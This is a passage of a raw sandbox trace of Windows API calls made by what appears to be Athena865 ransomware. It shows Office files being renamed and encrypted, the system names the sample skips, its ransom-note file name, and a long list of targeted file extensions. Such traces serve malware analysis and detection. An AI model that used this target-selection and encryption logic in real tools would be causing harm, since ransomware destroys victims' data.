office\\office14\\1033\\mspub.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0142.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.929] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0142.929] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.930] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.930] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.930] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0142.932] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0142.933] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0142.933] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0142.933] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.934] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSPUB.HXS" | out: lpString1="MSPUB.HXS") returned="MSPUB.HXS" [0142.934] lstrlenW (lpString="MSPUB.HXS") returned 9 [0142.934] lstrlenW (lpString="Athena865") returned 9 [0142.934] lstrlenW (lpString=".dll") returned 4 [0142.934] lstrcmpiW (lpString1="MSPUB.HXS", lpString2=".dll") returned 1 [0142.934] lstrlenW (lpString=".lnk") returned 4 [0142.934] lstrcmpiW (lpString1="MSPUB.HXS", lpString2=".lnk") returned 1 [0142.934] lstrlenW (lpString=".ini") returned 4 [0142.934] lstrcmpiW (lpString1="MSPUB.HXS", lpString2=".ini") returned 1 [0142.934] lstrlenW (lpString=".sys") returned 4 [0142.934] lstrcmpiW (lpString1="MSPUB.HXS", lpString2=".sys") returned 1 [0142.934] lstrlenW (lpString="MSPUB.HXS") returned 9 [0142.934] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.Athena865") returned 67 [0142.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.athena865"), dwFlags=0x1) returned 1 [0142.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0142.936] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1886518) returned 1 [0142.936] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0142.937] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0142.937] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0142.937] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ccc40, lpName=0x0) returned 0x17c [0142.938] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ccc40) returned 0x2bb0000 [0143.047] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.047] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.048] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.076] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSPUB.OPG" | out: lpString1="MSPUB.OPG") returned="MSPUB.OPG" [0143.076] lstrlenW (lpString="MSPUB.OPG") returned 9 [0143.076] lstrlenW (lpString="Athena865") returned 9 [0143.076] lstrlenW (lpString=".dll") returned 4 [0143.076] lstrcmpiW (lpString1="MSPUB.OPG", lpString2=".dll") returned 1 [0143.076] lstrlenW (lpString=".lnk") returned 4 [0143.076] lstrcmpiW (lpString1="MSPUB.OPG", lpString2=".lnk") returned 1 [0143.076] lstrlenW (lpString=".ini") returned 4 [0143.076] lstrcmpiW (lpString1="MSPUB.OPG", lpString2=".ini") returned 1 [0143.076] lstrlenW (lpString=".sys") returned 4 [0143.076] lstrcmpiW (lpString1="MSPUB.OPG", lpString2=".sys") returned 1 [0143.076] lstrlenW (lpString="MSPUB.OPG") returned 9 [0143.077] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.Athena865") returned 67 [0143.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.athena865"), dwFlags=0x1) returned 1 [0143.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.080] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12024) returned 1 [0143.080] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.081] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.081] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.081] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3200, lpName=0x0) returned 0x17c [0143.084] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3200) returned 0x100000 [0143.090] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.090] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.090] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.091] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.091] CloseHandle (hObject=0x17c) returned 1 [0143.091] CloseHandle (hObject=0x154) returned 1 [0143.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.091] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPUB_COL.HXC", cAlternateFileName="MSPUB_~1.HXC")) returned 1 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2=".") returned 1 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2="..") returned 1 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2="windows") returned -1 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2="bootmgr") returned 1 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2="temp") returned -1 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2="pagefile.sys") returned -1 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2="boot") returned 1 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2="ids.txt") returned 1 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2="ntuser.dat") returned -1 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2="perflogs") returned -1 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2="MSBuild") returned 1 [0143.092] lstrlenW (lpString="MSPUB_COL.HXC") returned 13 [0143.092] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSPUB_COL.HXC" | out: lpString1="MSPUB_COL.HXC") returned="MSPUB_COL.HXC" [0143.092] lstrlenW (lpString="MSPUB_COL.HXC") returned 13 [0143.092] lstrlenW (lpString="Athena865") returned 9 [0143.092] lstrcmpiW (lpString1="B_COL.HXC", lpString2="Athena865") returned 1 [0143.092] lstrlenW (lpString=".dll") returned 4 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2=".dll") returned 1 [0143.092] lstrlenW (lpString=".lnk") returned 4 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2=".lnk") returned 1 [0143.092] lstrlenW (lpString=".ini") returned 4 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2=".ini") returned 1 [0143.092] lstrlenW (lpString=".sys") returned 4 [0143.092] lstrcmpiW (lpString1="MSPUB_COL.HXC", lpString2=".sys") returned 1 [0143.092] lstrlenW (lpString="MSPUB_COL.HXC") returned 13 [0143.092] lstrlenW (lpString="bak") returned 3 [0143.092] lstrcmpiW (lpString1="HXC", lpString2="bak") returned 1 [0143.092] lstrlenW (lpString="ba_") returned 3 [0143.092] lstrcmpiW (lpString1="HXC", lpString2="ba_") returned 1 [0143.093] lstrlenW (lpString="dbb") returned 3 [0143.093] lstrcmpiW (lpString1="HXC", lpString2="dbb") returned 1 [0143.093] lstrlenW (lpString="vmdk") returned 4 [0143.093] lstrcmpiW (lpString1=".HXC", lpString2="vmdk") returned -1 [0143.093] lstrlenW (lpString="rar") returned 3 [0143.093] lstrcmpiW (lpString1="HXC", lpString2="rar") returned -1 [0143.093] lstrlenW (lpString="zip") returned 3 [0143.093] lstrcmpiW (lpString1="HXC", lpString2="zip") returned -1 [0143.093] lstrlenW (lpString="tgz") returned 3 [0143.093] lstrcmpiW (lpString1="HXC", lpString2="tgz") returned -1 [0143.093] lstrlenW (lpString="vbox") returned 4 [0143.093] lstrcmpiW (lpString1=".HXC", lpString2="vbox") returned -1 [0143.093] lstrlenW (lpString="vdi") returned 3 [0143.093] lstrcmpiW (lpString1="HXC", lpString2="vdi") returned -1 [0143.093] lstrlenW (lpString="vhd") returned 3 [0143.093] lstrcmpiW (lpString1="HXC", lpString2="vhd") returned -1 [0143.093] lstrlenW (lpString="vhdx") returned 4 [0143.093] lstrcmpiW (lpString1=".HXC", lpString2="vhdx") returned -1 [0143.093] lstrlenW (lpString="avhd") returned 4 [0143.093] lstrcmpiW (lpString1=".HXC", lpString2="avhd") returned -1 [0143.093] lstrlenW (lpString="db") returned 2 [0143.093] lstrcmpiW (lpString1="XC", lpString2="db") returned 1 [0143.093] lstrlenW (lpString="db2") returned 3 [0143.093] lstrcmpiW (lpString1="HXC", lpString2="db2") returned 1 [0143.093] lstrlenW (lpString="db3") returned 3 [0143.093] lstrcmpiW (lpString1="HXC", lpString2="db3") returned 1 [0143.093] lstrlenW (lpString="dbf") returned 3 [0143.093] lstrcmpiW (lpString1="HXC", lpString2="dbf") returned 1 [0143.093] lstrlenW (lpString="mdf") returned 3 [0143.093] lstrcmpiW (lpString1="HXC", lpString2="mdf") returned -1 [0143.093] lstrlenW (lpString="mdb") returned 3 [0143.093] lstrcmpiW (lpString1="HXC", lpString2="mdb") returned -1 [0143.093] lstrlenW (lpString="sql") returned 3 [0143.094] lstrcmpiW (lpString1="HXC", lpString2="sql") returned -1 [0143.094] lstrlenW (lpString="sqlite") returned 6 [0143.094] lstrcmpiW (lpString1="OL.HXC", lpString2="sqlite") returned -1 [0143.094] lstrlenW (lpString="sqlite3") returned 7 [0143.094] lstrcmpiW (lpString1="COL.HXC", lpString2="sqlite3") returned -1 [0143.094] lstrlenW (lpString="sqlitedb") returned 8 [0143.094] lstrcmpiW (lpString1="_COL.HXC", lpString2="sqlitedb") returned -1 [0143.094] lstrlenW (lpString="xml") returned 3 [0143.094] lstrcmpiW (lpString1="HXC", lpString2="xml") returned -1 [0143.094] lstrlenW (lpString="$er") returned 3 [0143.094] lstrcmpiW (lpString1="HXC", lpString2="$er") returned 1 [0143.094] lstrlenW (lpString="4dd") returned 3 [0143.094] lstrcmpiW (lpString1="HXC", lpString2="4dd") returned 1 [0143.094] lstrlenW (lpString="4dl") returned 3 [0143.094] lstrcmpiW (lpString1="HXC", lpString2="4dl") returned 1 [0143.094] lstrlenW (lpString="^^^") returned 3 [0143.094] lstrcmpiW (lpString1="HXC", lpString2="^^^") returned 1 [0143.094] lstrlenW (lpString="abs") returned 3 [0143.094] lstrcmpiW (lpString1="HXC", lpString2="abs") returned 1 [0143.094] lstrlenW (lpString="abx") returned 3 [0143.094] lstrcmpiW (lpString1="HXC", lpString2="abx") returned 1 [0143.094] lstrlenW (lpString="accdb") returned 5 [0143.094] lstrcmpiW (lpString1="L.HXC", lpString2="accdb") returned 1 [0143.094] lstrlenW (lpString="accdc") returned 5 [0143.094] lstrcmpiW (lpString1="L.HXC", lpString2="accdc") returned 1 [0143.094] lstrlenW (lpString="accde") returned 5 [0143.094] lstrcmpiW (lpString1="L.HXC", lpString2="accde") returned 1 [0143.094] lstrlenW (lpString="accdr") returned 5 [0143.094] lstrcmpiW (lpString1="L.HXC", lpString2="accdr") returned 1 [0143.094] lstrlenW (lpString="accdt") returned 5 [0143.094] lstrcmpiW (lpString1="L.HXC", lpString2="accdt") returned 1 [0143.095] lstrlenW (lpString="accdw") returned 5 [0143.095] lstrcmpiW (lpString1="L.HXC", lpString2="accdw") returned 1 [0143.095] lstrlenW (lpString="accft") returned 5 [0143.095] lstrcmpiW (lpString1="L.HXC", lpString2="accft") returned 1 [0143.095] lstrlenW (lpString="adb") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0143.095] lstrlenW (lpString="adb") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0143.095] lstrlenW (lpString="ade") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="ade") returned 1 [0143.095] lstrlenW (lpString="adf") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="adf") returned 1 [0143.095] lstrlenW (lpString="adn") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="adn") returned 1 [0143.095] lstrlenW (lpString="adp") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="adp") returned 1 [0143.095] lstrlenW (lpString="alf") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="alf") returned 1 [0143.095] lstrlenW (lpString="ask") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="ask") returned 1 [0143.095] lstrlenW (lpString="btr") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="btr") returned 1 [0143.095] lstrlenW (lpString="cat") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="cat") returned 1 [0143.095] lstrlenW (lpString="cdb") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="cdb") returned 1 [0143.095] lstrlenW (lpString="ckp") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="ckp") returned 1 [0143.095] lstrlenW (lpString="cma") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="cma") returned 1 [0143.095] lstrlenW (lpString="cpd") returned 3 [0143.095] lstrcmpiW (lpString1="HXC", lpString2="cpd") returned 1 [0143.096] lstrlenW (lpString="dacpac") returned 6 [0143.096] lstrcmpiW (lpString1="OL.HXC", lpString2="dacpac") returned 1 [0143.096] lstrlenW (lpString="dad") returned 3 [0143.096] lstrcmpiW (lpString1="HXC", lpString2="dad") returned 1 [0143.096] lstrlenW (lpString="dadiagrams") returned 10 [0143.096] lstrcmpiW (lpString1="UB_COL.HXC", lpString2="dadiagrams") returned 1 [0143.096] lstrlenW (lpString="daschema") returned 8 [0143.096] lstrcmpiW (lpString1="_COL.HXC", lpString2="daschema") returned -1 [0143.096] lstrlenW (lpString="db-journal") returned 10 [0143.096] lstrcmpiW (lpString1="UB_COL.HXC", lpString2="db-journal") returned 1 [0143.096] lstrlenW (lpString="db-shm") returned 6 [0143.096] lstrcmpiW (lpString1="OL.HXC", lpString2="db-shm") returned 1 [0143.096] lstrlenW (lpString="db-wal") returned 6 [0143.096] lstrcmpiW (lpString1="OL.HXC", lpString2="db-wal") returned 1 [0143.096] lstrlenW (lpString="dbc") returned 3 [0143.096] lstrcmpiW (lpString1="HXC", lpString2="dbc") returned 1 [0143.096] lstrlenW (lpString="dbs") returned 3 [0143.096] lstrcmpiW (lpString1="HXC", lpString2="dbs") returned 1 [0143.096] lstrlenW (lpString="dbt") returned 3 [0143.096] lstrcmpiW (lpString1="HXC", lpString2="dbt") returned 1 [0143.096] lstrlenW (lpString="dbv") returned 3 [0143.096] lstrcmpiW (lpString1="HXC", lpString2="dbv") returned 1 [0143.096] lstrlenW (lpString="dbx") returned 3 [0143.096] lstrcmpiW (lpString1="HXC", lpString2="dbx") returned 1 [0143.096] lstrlenW (lpString="dcb") returned 3 [0143.096] lstrcmpiW (lpString1="HXC", lpString2="dcb") returned 1 [0143.096] lstrlenW (lpString="dct") returned 3 [0143.096] lstrcmpiW (lpString1="HXC", lpString2="dct") returned 1 [0143.096] lstrlenW (lpString="dcx") returned 3 [0143.096] lstrcmpiW (lpString1="HXC", lpString2="dcx") returned 1 [0143.096] lstrlenW (lpString="ddl") returned 3 [0143.097] lstrcmpiW (lpString1="HXC", lpString2="ddl") returned 1 [0143.097] lstrlenW (lpString="dlis") returned 4 [0143.097] lstrcmpiW (lpString1=".HXC", lpString2="dlis") returned -1 [0143.097] lstrlenW (lpString="dp1") returned 3 [0143.097] lstrcmpiW (lpString1="HXC", lpString2="dp1") returned 1 [0143.097] lstrlenW (lpString="dqy") returned 3 [0143.097] lstrcmpiW (lpString1="HXC", lpString2="dqy") returned 1 [0143.097] lstrlenW (lpString="dsk") returned 3 [0143.097] lstrcmpiW (lpString1="HXC", lpString2="dsk") returned 1 [0143.097] lstrlenW (lpString="dsn") returned 3 [0143.097] lstrcmpiW (lpString1="HXC", lpString2="dsn") returned 1 [0143.097] lstrlenW (lpString="dtsx") returned 4 [0143.097] lstrcmpiW (lpString1=".HXC", lpString2="dtsx") returned -1 [0143.097] lstrlenW (lpString="dxl") returned 3 [0143.097] lstrcmpiW (lpString1="HXC", lpString2="dxl") returned 1 [0143.097] lstrlenW (lpString="eco") returned 3 [0143.097] lstrcmpiW (lpString1="HXC", lpString2="eco") returned 1 [0143.097] lstrlenW (lpString="ecx") returned 3 [0143.097] lstrcmpiW (lpString1="HXC", lpString2="ecx") returned 1 [0143.097] lstrlenW (lpString="edb") returned 3 [0143.097] lstrcmpiW (lpString1="HXC", lpString2="edb") returned 1 [0143.097] lstrlenW (lpString="epim") returned 4 [0143.097] lstrcmpiW (lpString1=".HXC", lpString2="epim") returned -1 [0143.097] lstrlenW (lpString="fcd") returned 3 [0143.097] lstrcmpiW (lpString1="HXC", lpString2="fcd") returned 1 [0143.097] lstrlenW (lpString="fdb") returned 3 [0143.097] lstrcmpiW (lpString1="HXC", lpString2="fdb") returned 1 [0143.097] lstrlenW (lpString="fic") returned 3 [0143.097] lstrcmpiW (lpString1="HXC", lpString2="fic") returned 1 [0143.097] lstrlenW (lpString="flexolibrary") returned 12 [0143.097] lstrcmpiW (lpString1="SPUB_COL.HXC", lpString2="flexolibrary") returned 1 [0143.098] lstrlenW (lpString="fm5") returned 3 [0143.098] lstrcmpiW (lpString1="HXC", lpString2="fm5") returned 1 [0143.098] lstrlenW (lpString="fmp") returned 3 [0143.098] lstrcmpiW (lpString1="HXC", lpString2="fmp") returned 1 [0143.098] lstrlenW (lpString="fmp12") returned 5 [0143.098] lstrcmpiW (lpString1="L.HXC", lpString2="fmp12") returned 1 [0143.098] lstrlenW (lpString="fmpsl") returned 5 [0143.098] lstrcmpiW (lpString1="L.HXC", lpString2="fmpsl") returned 1 [0143.098] lstrlenW (lpString="fol") returned 3 [0143.098] lstrcmpiW (lpString1="HXC", lpString2="fol") returned 1 [0143.098] lstrlenW (lpString="fp3") returned 3 [0143.098] lstrcmpiW (lpString1="HXC", lpString2="fp3") returned 1 [0143.098] lstrlenW (lpString="fp4") returned 3 [0143.098] lstrcmpiW (lpString1="HXC", lpString2="fp4") returned 1 [0143.098] lstrlenW (lpString="fp5") returned 3 [0143.098] lstrcmpiW (lpString1="HXC", lpString2="fp5") returned 1 [0143.098] lstrlenW (lpString="fp7") returned 3 [0143.098] lstrcmpiW (lpString1="HXC", lpString2="fp7") returned 1 [0143.098] lstrlenW (lpString="fpt") returned 3 [0143.098] lstrcmpiW (lpString1="HXC", lpString2="fpt") returned 1 [0143.098] lstrlenW (lpString="frm") returned 3 [0143.098] lstrcmpiW (lpString1="HXC", lpString2="frm") returned 1 [0143.098] lstrlenW (lpString="gdb") returned 3 [0143.098] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0143.098] lstrlenW (lpString="gdb") returned 3 [0143.098] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0143.098] lstrlenW (lpString="grdb") returned 4 [0143.098] lstrcmpiW (lpString1=".HXC", lpString2="grdb") returned -1 [0143.098] lstrlenW (lpString="gwi") returned 3 [0143.098] lstrcmpiW (lpString1="HXC", lpString2="gwi") returned 1 [0143.098] lstrlenW (lpString="hdb") returned 3 [0143.099] lstrcmpiW (lpString1="HXC", lpString2="hdb") returned 1 [0143.099] lstrlenW (lpString="his") returned 3 [0143.099] lstrcmpiW (lpString1="HXC", lpString2="his") returned 1 [0143.099] lstrlenW (lpString="ib") returned 2 [0143.099] lstrcmpiW (lpString1="XC", lpString2="ib") returned 1 [0143.099] lstrlenW (lpString="idb") returned 3 [0143.099] lstrcmpiW (lpString1="HXC", lpString2="idb") returned -1 [0143.099] lstrlenW (lpString="ihx") returned 3 [0143.099] lstrcmpiW (lpString1="HXC", lpString2="ihx") returned -1 [0143.099] lstrlenW (lpString="itdb") returned 4 [0143.099] lstrcmpiW (lpString1=".HXC", lpString2="itdb") returned -1 [0143.099] lstrlenW (lpString="itw") returned 3 [0143.099] lstrcmpiW (lpString1="HXC", lpString2="itw") returned -1 [0143.099] lstrlenW (lpString="jet") returned 3 [0143.099] lstrcmpiW (lpString1="HXC", lpString2="jet") returned -1 [0143.099] lstrlenW (lpString="jtx") returned 3 [0143.099] lstrcmpiW (lpString1="HXC", lpString2="jtx") returned -1 [0143.099] lstrlenW (lpString="kdb") returned 3 [0143.099] lstrcmpiW (lpString1="HXC", lpString2="kdb") returned -1 [0143.099] lstrlenW (lpString="kexi") returned 4 [0143.099] lstrcmpiW (lpString1=".HXC", lpString2="kexi") returned -1 [0143.099] lstrlenW (lpString="kexic") returned 5 [0143.099] lstrcmpiW (lpString1="L.HXC", lpString2="kexic") returned 1 [0143.099] lstrlenW (lpString="kexis") returned 5 [0143.099] lstrcmpiW (lpString1="L.HXC", lpString2="kexis") returned 1 [0143.099] lstrlenW (lpString="lgc") returned 3 [0143.099] lstrcmpiW (lpString1="HXC", lpString2="lgc") returned -1 [0143.099] lstrlenW (lpString="lwx") returned 3 [0143.099] lstrcmpiW (lpString1="HXC", lpString2="lwx") returned -1 [0143.099] lstrlenW (lpString="maf") returned 3 [0143.099] lstrcmpiW (lpString1="HXC", lpString2="maf") returned -1 [0143.100] lstrlenW (lpString="maq") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="maq") returned -1 [0143.100] lstrlenW (lpString="mar") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="mar") returned -1 [0143.100] lstrlenW (lpString="marshal") returned 7 [0143.100] lstrcmpiW (lpString1="COL.HXC", lpString2="marshal") returned -1 [0143.100] lstrlenW (lpString="mas") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="mas") returned -1 [0143.100] lstrlenW (lpString="mav") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="mav") returned -1 [0143.100] lstrlenW (lpString="maw") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="maw") returned -1 [0143.100] lstrlenW (lpString="mdbhtml") returned 7 [0143.100] lstrcmpiW (lpString1="COL.HXC", lpString2="mdbhtml") returned -1 [0143.100] lstrlenW (lpString="mdn") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="mdn") returned -1 [0143.100] lstrlenW (lpString="mdt") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="mdt") returned -1 [0143.100] lstrlenW (lpString="mfd") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="mfd") returned -1 [0143.100] lstrlenW (lpString="mpd") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="mpd") returned -1 [0143.100] lstrlenW (lpString="mrg") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="mrg") returned -1 [0143.100] lstrlenW (lpString="mud") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="mud") returned -1 [0143.100] lstrlenW (lpString="mwb") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="mwb") returned -1 [0143.100] lstrlenW (lpString="myd") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="myd") returned -1 [0143.100] lstrlenW (lpString="ndf") returned 3 [0143.100] lstrcmpiW (lpString1="HXC", lpString2="ndf") returned -1 [0143.100] lstrlenW (lpString="nnt") returned 3 [0143.101] lstrcmpiW (lpString1="HXC", lpString2="nnt") returned -1 [0143.101] lstrlenW (lpString="nrmlib") returned 6 [0143.101] lstrcmpiW (lpString1="OL.HXC", lpString2="nrmlib") returned 1 [0143.101] lstrlenW (lpString="ns2") returned 3 [0143.101] lstrcmpiW (lpString1="HXC", lpString2="ns2") returned -1 [0143.101] lstrlenW (lpString="ns3") returned 3 [0143.101] lstrcmpiW (lpString1="HXC", lpString2="ns3") returned -1 [0143.101] 